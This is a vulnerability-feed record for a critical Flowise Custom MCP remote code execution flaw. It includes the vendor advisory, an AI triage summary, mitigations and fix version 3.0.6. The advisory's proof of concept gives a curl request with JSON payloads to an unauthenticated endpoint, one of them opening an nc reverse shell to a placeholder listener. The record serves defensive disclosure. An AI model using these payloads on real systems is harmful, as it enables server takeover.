{"id":"CVE-2025-71336","kind":"vulnerability","aliases":["CVE-2025-71336","GHSA-6933-jpx5-q87q"],"related":[],"title":"Flowise has unsandboxed remote code execution via Custom MCP","description":"### Summary\nThe Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables.\n\nThis combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.\n\n### PoC\n1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):\n   https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker\n\n2. Create a new file named `payload.json` somewhere in your machine, with the following data:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"touch\",\"args\": [\"/tmp/yofitofi\"]}},\"loadMethod\":\"listActions\"}\n```\n\n3. Send the following `curl` request using the `payload.json` file created above with the following command:\n```\ncurl -XPOST -H \"x-request-from: internal\" -H \"Content-Type: application/json\" --data @payload.json \"http://localhost:3000/api/v1/node-load-method/customMCP\"\n```\n\n4. Observe that a new file named `yofitofi` is created under `/tmp` folder.\n\nSimilarily, we can use the same technique to gain a reverse shell using the built-in `nc` utility with the following JSON payload:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"nc\",\"args\": [\n\"<LISTENER_IP_ADDRESS>\",\"<LISTENER_PORT>\",\"-e\",\"/bin/sh\"\n]}},\n\"loadMethod\":\"listActions\"}\n```\n\n![Pasted image 20250420132335](https://github.com/user-attachments/assets/b41093b9-a0d7-415e-bf9b-b8cbce7183d6)\n\n### Impact\nRemote code execution\n\n### Mitigation\n- Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with \"Admin\" roles will be able to configure new Custom MCPs within the platform.\n- Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.\n- Consider running Custom MCPs within a sandboxed environment\n\n### Credit\nThe vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.","summary":"Flowise's Custom MCP feature starts local MCP servers through commands such as npx, and the node-load-method endpoint passes attacker-supplied command and arguments to it without a sandbox. A request to that endpoint can run arbitrary system commands on the server, including a reverse shell, which gives full control of the container or host.","severity":"critical","cvss":9.8,"epss":0.01148,"exploited":false,"exploited_at":null,"products":[{"name":"flowise","fixed":["3.0.6"],"affected":">= 2.2.7-patch.1, < 3.0.6","ecosystem":"npm"},{"name":"flowiseai flowise","fixed":["3.0.6"],"affected":"< 3.0.6","ecosystem":"vendor"}],"ecosystems":["npm","vendor"],"tags":["cwe-78","cwe-862","docker","flowise","mcp","npm","package","self-hosted"],"not_affected_if":["auth-required","fixed-version"],"how_to_check":"- Check the installed Flowise version with `npm ls flowise` and confirm whether it falls in the affected range `>= 2.2.7-patch.1, < 3.0.6`.\n- Check whether `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` are set in the environment, since the advisory says the default install runs without authentication unless they are configured.\n- Check whether the Custom MCP feature is reachable from outside the network.","fix":"- flowise: `3.0.6`","status":"open","published_at":"2025-09-15T20:30:30+00:00","first_seen_at":"2026-11-03T17:36:46+00:00","triaged_at":"2026-11-03T17:38:31+00:00","updated_at":"2026-11-03T17:52:24+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-03T17:38:31Z","model":"claude-haiku-5-5","output":{"fix":"- flowise: `3.0.6`","reach":"internet","title":"Flowise: unauthenticated Custom MCP endpoint lets attackers run OS commands","impact":"high","summary":"Flowise's Custom MCP feature starts local MCP servers through commands such as npx, and the node-load-method endpoint passes attacker-supplied command and arguments to it without a sandbox. A request to that endpoint can run arbitrary system commands on the server, including a reverse shell, which gives full control of the container or host.","audience":"developers","category":"package","nicknames":[],"who_cares":["flowise","self-hosted","docker","npm","mcp"],"confidence":0.8,"fix_status":"available","needs_auth":"unknown","worst_case":"Attacker runs arbitrary system commands on the server or container","analyst_note":"Confirm from the GHSA page whether authentication is required for the Custom MCP endpoint in the default configuration; the sources conflict on whether the default install is open.","how_to_check":"- Check the installed Flowise version with `npm ls flowise` and confirm whether it falls in the affected range `>= 2.2.7-patch.1, < 3.0.6`.\n- Check whether `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` are set in the environment, since the advisory says the default install runs without authentication unless they are configured.\n- Check whether the Custom MCP feature is reachable from outside the network.","plain_action":"","needs_analyst":true,"not_affected_if":["auth-required","fixed-version"],"who_is_affected":"Teams that run Flowise as a self-hosted server or container are exposed when the affected version is running and the endpoint can be reached, particularly without FLOWISE_USERNAME and FLOWISE_PASSWORD configured. Installations that are upgraded to 3.0.6, or that sit behind strict authentication and network controls, are not exposed through this path; the sources do not say more about managed hosting.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"critical"},"cost_usd":0.000862,"input_tokens":5071,"output_tokens":710,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2025':11A,19A '-6933':14A '-71336':12A,20A '-78':25B '-862':27B '/bin/sh':319C '/flowiseai/flowise?tab=readme-ov-file#-docker':219C '/tmp':287C '/tmp/yofitofi':240C '/user-attachments/assets/b41093b9-a0d7-415e-bf9b-b8cbce7183d6)':327C '1':194C '2':220C '20250420132335':324C '3':243C '3000/api/v1/node-load-method/custommcp':275C '4':276C 'abl':353C 'access':133C,336C 'add':334C 'addit':335C 'admin':349C 'allow':165C 'app':202C 'application/json':271C 'arbitrari':76B 'arg':239C,317C 'argument':63B 'assaf':398C 'attack':59B 'attacker-suppli':58B 'authent':122C,144C 'author':124C 'base':132C 'built':304C 'built-in':303C 'choos':211C 'clear':372C 'code':5A,180C,330C 'combin':158C 'command':46B,61B,78B,105C,174C,237C,258C,315C 'complet':184C 'compos':205C 'compromis':185C 'configur':147C,355C 'consid':333C,362C,384C 'contain':92B,190C 'content':269C 'content-typ':268C 'control':89B,134C,337C 'creat':221C,253C,285C 'credit':392C 'curl':247C,259C 'custom':8A,38B,97C,343C,357C,365C,386C 'cve':10A,18A 'cwe':24B,26B 'data':234C,272C 'default':138C,369C 'design':101C 'disabl':363C 'disclaim':373C 'discov':396C 'docker':28B,204C 'e':318C 'e.g':345C 'enabl':381C 'end':375C 'endpoint':56B,73B 'environ':155C,391C 'etc':216C 'execut':6A,103C,171C,181C,331C 'explicit':146C 'featur':40B,99C,367C,383C 'file':224C,252C,281C 'flowis':1A,29B,36B,119C,141C,150C,153C 'flowise':21A,23A 'flowiseai':22A 'folder':288C 'follow':195C,233C,246C,257C,310C 'full':88B 'function':340C 'furthermor':136C 'gain':297C 'ghsa':13A 'github.com':218C,326C 'github.com/flowiseai/flowise?tab=readme-ov-file#-docker':217C 'github.com/user-attachments/assets/b41093b9-a0d7-415e-bf9b-b8cbce7183d6)':325C 'give':87B 'h':261C,267C 'host':35B,94B 'howev':118C 'imag':323C 'impact':328C 'implic':379C 'includ':82B 'inher':121C 'input':235C,313C 'instal':139C 'instanc':107C 'instruct':198C 'intern':266C 'jfrog':402C 'jpx5':16A 'jpx5-q87q':15A 'json':311C 'lack':129C 'levkovich':399C 'like':110C 'listact':242C,321C 'load':54B 'loadmethod':241C,320C 'local':42B,115C 'localhost':274C 'machin':230C 'mcp':9A,30B,39B,43B,116C,344C,366C 'mcps':98C,358C,387C 'mcpserverconfig':236C,314C 'method':55B,208C 'minim':127C 'mitig':332C 'model':125C 'name':225C,282C 'nc':306C,316C 'new':223C,280C,356C 'node':53B 'node-load-method':52B 'npm':31B 'npx':49B,111C,214C 'observ':277C 'oper':142C 'os':104C 'packag':32B 'pass':57B 'password':154C 'past':322C 'payload':312C 'payload.json':226C,251C,273C 'platform':169C,189C,361C 'pnpm':215C 'poc':193C 'potenti':164C 'present':159C 'provid':197C 'q87q':17A 'rbac':135C 'rce':182C 'remot':4A,179C,329C 'request':70B,248C,264C 'research':404C 'result':177C 'revers':84B,299C 'risk':163C 'role':131C,350C 'role-bas':130C 'run':75B,188C,200C,385C 'sandbox':68B,390C 'secur':162C,403C 'self':34B 'self-host':33B 'send':244C 'sensit':339C 'server':44B,81B,117C,192C 'shell':85B,300C 'signific':161C 'similarili':289C 'somewher':227C 'spin':113C 'start':41B 'summari':95C 'suppli':60B 'surrond':338C 'system':77B,173C 'team':405C 'techniqu':295C 'tool':109C 'touch':238C 'type':270C 'unless':145C 'unsandbox':3A,172C 'use':108C,148C,203C,249C,292C,301C 'user':166C,347C,376C 'usernam':151C 'util':307C 'variabl':156C 'via':7A 'vulner':394C 'within':359C,388C 'without':66B,143C 'x':263C 'x-request-from':262C 'xpost':260C 'yofitofi':283C","nicknames":[],"mitigations":[],"who_affected":"Teams that run Flowise as a self-hosted server or container are exposed when the affected version is running and the endpoint can be reached, particularly without FLOWISE_USERNAME and FLOWISE_PASSWORD configured. Installations that are upgraded to 3.0.6, or that sit behind strict authentication and network controls, are not exposed through this path; the sources do not say more about managed hosting.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["flowise","flowiseaiflowise"],"ptokens":["flowise","flowiseai"],"labels":["critical","cwe78","cwe862","docker","flowise","mcp","npm","package","selfhosted","vendor"],"campaign_type":null,"first_public_at":"2025-09-13T22:38:11+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-6933-jpx5-q87q","url":"https://github.com/advisories/GHSA-6933-jpx5-q87q","severity":"critical","published_at":"2025-09-15T20:30:30+00:00","modified_at":"2026-11-03T17:36:36+00:00","first_seen_at":"2026-11-03T17:36:46+00:00","fetched_at":"2026-11-03T17:41:48+00:00","note":null},{"source":"nvd","external_id":"CVE-2025-71336","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71336","severity":null,"published_at":"2026-06-25T22:16:59+00:00","modified_at":"2026-10-12T21:10:00+00:00","first_seen_at":"2026-11-03T17:52:24+00:00","fetched_at":"2026-11-03T17:52:24+00:00","note":null}],"documents":[{"id":59308,"url":"https://api.github.com/repos/FlowiseAI/Flowise/security-advisories/GHSA-6933-jpx5-q87q","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":59309,"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6933-jpx5-q87q","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2025-09-13T22:38:11+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":59310,"url":"https://github.com/FlowiseAI/Flowise/pull/5201","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":59311,"url":"https://github.com/FlowiseAI/Flowise/commit/ac7cf30e019cde54905bf09b5d3fe1c6ba42f9b9","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":59312,"url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":59493,"url":"https://www.vulncheck.com/advisories/flowise-unsandboxed-remote-code-execution-via-custom-mcp","title":"Third-party advisory: www.vulncheck.com","kind":"advisory","source":"nvd","publisher":"research","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Third-party advisory: www.vulncheck.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}